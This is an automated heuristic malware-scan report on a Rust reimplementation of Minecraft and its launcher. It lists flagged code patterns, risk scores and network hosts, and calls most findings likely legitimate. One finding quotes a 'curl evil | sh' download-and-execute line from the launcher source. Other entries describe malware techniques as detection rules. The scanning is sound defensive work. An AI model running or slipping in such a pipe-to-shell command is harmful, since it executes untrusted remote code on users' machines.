github.com / horizon-rust
horizon-rust/ horizon
Rust·3561 files·commit 0dfa513·scanned 20h ago·cached ✓
25/100
LOW RISK
Minor findings consistent with the project type. Nothing reachable from install hooks.
score capped at 25 — 4,337 stars — findings likely legitimate code patterns
verdict accurate?
Created 26 days ago
Created 26 days ago
Partial architecture graph
threat-state: lowlive
FINDINGS ░▒▓
what this code does░▒▓
What happens when you open, install or run it, from the findings below.
- when runcrates/cargo-horizon-mod/src/main.rs and 3 other files start system processes. crates/cargo-horizon-mod/src/main.rs, crates/horizon-client-render/src/crash.rs, crates/horizon-client-render/src/packs.rs, tools/parity.py
- when runtools/interaction_lab.py builds code from strings at run time with
execoreval. tools/interaction_lab.py - when runcrates/horizon-server/src/update.rs calls wallet signing APIs and sends requests to api.github.com. crates/horizon-server/src/update.rs:263
- when runlauncher/src/native_mods.rs downloads a script and pipes it to the shell:
curl evil | sh. launcher/src/native_mods.rs
criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/cargo-horizon-mod/src/main.rs
println!("Starting {game} with {}", path.display());
let status = Command::new(&game)
.arg("--dev-mod")
.arg(&path)+8criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/horizon-client-render/src/crash.rs
fn command_output(program: &str, args: &[&str]) -> Option<String> {
let out = std::process::Command::new(program)
.args(args)
.output()+8criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/horizon-client-render/src/packs.rs
};
let status = std::process::Command::new("cmd")
.args(["/C", "mklink", "/J"])
.raw_arg(quoted(at)?)+8criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.crates/horizon-client-render/src/providers.rs
}
fn eval(v: &Value, fast: bool, table: &HashMap<String, Value>, depth: u32) -> f64 {
if depth > 16 {
return 0.0;+8criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.crates/horizon-shaders/src/condition.rs
fn eval(expr: &str) -> Result<i64, String> {
let mut m = Macros::standard();
m.define("SHADOW_RES", "2048");+8criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.crates/horizon-shaders/src/custom.rs
/// values, in the order of `uniforms`.
pub fn eval(&mut self, dt: f64, builtin: &dyn Fn(&str) -> Option<Val>) -> Vec<Val> {
let mut vars: HashMap<String, Val> = HashMap::new();
...+8warningDownload piped into a shellA command downloads remote content and pipes it straight into a shell or interpreter (`curl … | bash`, `iwr … | iex`). Nothing is stored for review and the server can change the payload at any time. Common in CI and Dockerfiles, so this is a warning unless the host is hidden.launcher/src/native_mods.rs
curl evil | sh+4
warningRust unsafe blockunsafe blocks bypass Rust's memory safety guarantees. Malware uses them for raw pointer manipulation, shellcode injection, or calling dangerous foreign functions.third_party/wgpu-hal/src/gles/egl.rs
};
let command = unsafe { ffi::CStr::from_ptr(command_raw) }.to_string_lossy();
let message = if message_raw.is_null() {
"".into()+3warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.tests/test_pre_push.py
def git(self, *args):
return subprocess.check_output(
["git", "-c", f"core.hooksPath={self.repo / 'no-hooks'}", "-c", "user.name=Test",
"-c", "user.email=test@exam...+4criticalPython dynamic code executioneval(), exec() or compile() on untrusted input can execute arbitrary code. Common in Python malware for running obfuscated payloads.tools/interaction_lab.py
def compile(self, *oracles):
sources = [PARITY / (name + '.java') for name in oracles]
done = subprocess.run(['javac', '--release', str(self.lock['minecraft']['java_major']), '-pr...+7warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.tools/parity.py
try:
result = subprocess.run(command, capture_output=True, text=True, cwd=ROOT)
return (result.stdout + result.stderr).strip()
except FileNotFoundError:+4warningRust wallet/crypto code with network activityCode handling private keys or signing and also making network requests may be exfiltrating secrets or sending funds to an attacker.crates/horizon-server/src/update.rs
fn a_nightly_is_picked_with_its_channel_signature_and_named_by_its_build() {
use horizon_release_sign::{SigningKey, sha256_hex, sums_file};
let Some(first) = ASSETS.first() else { ...+5infoSuspicious file in repoVery large source file (673KB) — could contain obfuscated payloadcrates/horizon-client/src/game.rs+2
infoSuspicious file in repoExecutable file (install.ps1) in repositorypackaging/server/install.ps1+2
Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.
2722 files scanned @ 0dfa513 | 10/30/2026 | heuristic scan — always review manually
risk by category
code execution25
network & exfiltration5
file system access0
obfuscation0
supply chain4
owasp / injection0
telemetry
files 2722/3561rules hit 15engine v10commit 0dfa513
github
horizon-rust/horizon
Minecraft: Java Edition 26.3 rewritten from scratch in Rust, checked against vanilla with 281 differential harnesses. Get it with the Horizon launcher.
4337
400
27d
3561 files
2722 scanned(76%)
0dfa513
network indicators░▒▓
Hosts this code names or would connect to. Top 50 of 407, decoded and call-site destinations first. Informational, not scored.
- https://api.github.com/repos/$REPO/releases/$1urlnext to network callpackaging/server/install.sh:57
- https://github.com/actions/runner/releases/download/v$version/….gzurlnext to network calltools/ci/linux-runner.sh:89
- https://github.comurlnext to exectools/ci/parity_issues.py:80 +9 more
- https://textures.minecraft.net/texture/abcurldecoded from base64test onlycrates/horizon-client-render/src/skins.rs:964 +2 more
- https://textures.minecraft.net/texture/abc123urldecoded from base64test onlycrates/horizon-client-render/src/skins.rs:1186 +3 more
- https://api.github.com/repos/urlnext to network callcrates/horizon-server/src/update.rs:263 +5 more
- https://raw.githubusercontent.compaste hostcrates/horizon-port-pack/src/fetch.rs:28 +2 more
- 25.0.4.1ipbenchmarks/tick-state-2026-10-04/live-observations.json:42
- https://github.com/$repourltools/ci/linux-runner.sh:95
- https://modrinth.com/resourcepack/faithful-32x/version/lDYpMiqkurlbenchmarks/overlay-real-packs-2026-10-15.json:15
- https://cdn.modrinth.com/data/…/versions/…/….zipurlbenchmarks/overlay-real-packs-2026-10-15.json:16 +1 more
- https://modrinth.com/resourcepack/default-hd-128x/version/rErHu3BEurlbenchmarks/overlay-real-packs-2026-10-15.json:29
- https://modrinth.com/resourcepack/fpbr/version/dynf82xkurlbenchmarks/overlay-real-packs-2026-10-15.json:43
- https://cdn.modrinth.com/data/nvEpbd8t/versions/dynf82xk/FPBR-Main-1.21.9-R1.3.zipurlbenchmarks/overlay-real-packs-2026-10-15.json:44
- https://discovery.minecraftservices.com/minecraft/clienturlcrates/horizon-client-render/src/auth.rs:13 +1 more
- https://textures.minecraft.net/texture/urlcrates/horizon-client-render/src/skins.rs:29 +3 more
- http://textures.minecraft.net/texture/urlcrates/horizon-client-render/src/skins.rs:30 +3 more
- https://api.github.comurlcrates/horizon-mod-registry/src/github.rs:25 +3 more
- https://uploads.github.comurlcrates/horizon-mod-registry/src/github.rs:26 +1 more
- https://github.com/horizon-rust/horizon-mods/releases/download/urlcrates/horizon-mods/src/index.rs:24
- https://github.com/horizon-rust/horizon-modsurlcrates/horizon-mods/src/index/registry/tests.rs:55 +3 more
- https://github.com/horizon-rust/horizon-mods/releases/download/coords_hud-0.1.0/urlcrates/horizon-mods/src/index/tests.rs:134
- https://cdn.modrinth.comurlcrates/horizon-port-pack/src/fetch.rs:26 +2 more
- https://gitlab.comurlcrates/horizon-port-pack/src/fetch.rs:29
- https://api.modrinth.com/v2urlcrates/horizon-port-pack/src/modrinth.rs:9 +1 more
- https://maven.neoforged.net/releases/net/neoforged/neoforge/urlcrates/horizon-port-pack/src/worldgen.rs:823
- https://piston-meta.mojang.com/v1/packages/urlcrates/horizon-prepare/src/artifacts.rs:321 +4 more
- https://aka.ms/…urlcrates/horizon-server-files/src/eula.rs:8 +6 more
- http://www.apple.com/DTDs/PropertyList-1.0.dtdurlcrates/horizon-server/src/service.rs:111 +2 more
- https://playhorizon.devurlcrates/horizon-telemetry-server/src/lib.rs:91 +13 more
- https://telemetry.playhorizon.devurlcrates/horizon-telemetry/src/lib.rs:40
- https://login.microsoftonline.com/consumers/oauth2/v2.0urllauncher/src/account.rs:65
- https://user.auth.xboxlive.com/user/authenticateurllauncher/src/account.rs:68
- https://xsts.auth.xboxlive.com/xsts/authorizeurllauncher/src/account.rs:69
- https://api.minecraftservices.comurllauncher/src/account.rs:70
- https://www.microsoft.com/linkurllauncher/src/account.rs:180 +2 more
- http://auth.xboxlive.comurllauncher/src/account.rs:309 +1 more
- http://textures.minecraft.net/texture/abcurllauncher/src/account/tests.rs:128 +2 more
- http://textures.minecraft.net/texture/cape1urllauncher/src/account/tests.rs:129
- http://textures.minecraft.net/texture/cape2urllauncher/src/account/tests.rs:130 +1 more
- https://playhorizon.dev/docs/agentsurllauncher/src/backend.rs:15 +1 more
- https://discord.gg/HcTeMZxe5Eurllauncher/src/backend.rs:418 +3 more
- https://github.com/sponsors/ludovic111urllauncher/src/backend.rs:419 +3 more
- https://modrinth.com/datapack/urllauncher/src/browser.rs:152
- https://api.curseforge.com/v1urllauncher/src/browser/curseforge.rs:9
- https://edge.forgecdn.neturllauncher/src/browser/download.rs:13 +1 more
- https://mediafilez.forgecdn.neturllauncher/src/browser/download.rs:14
- https://github.com/ludovic111/horizon-mods/releases/download/urllauncher/src/browser/download.rs:17
- https://playhorizon.dev/modsurllauncher/src/browser/horizon.rs:20
- https://github.com/horizon-rust/horizon-mods/issues/newurllauncher/src/browser/horizon.rs:22
architecture░▒▓
entry (0) flagged (29) pkg (196)
596 nodes · 663 edgesscroll to zoom · click node to jump to finding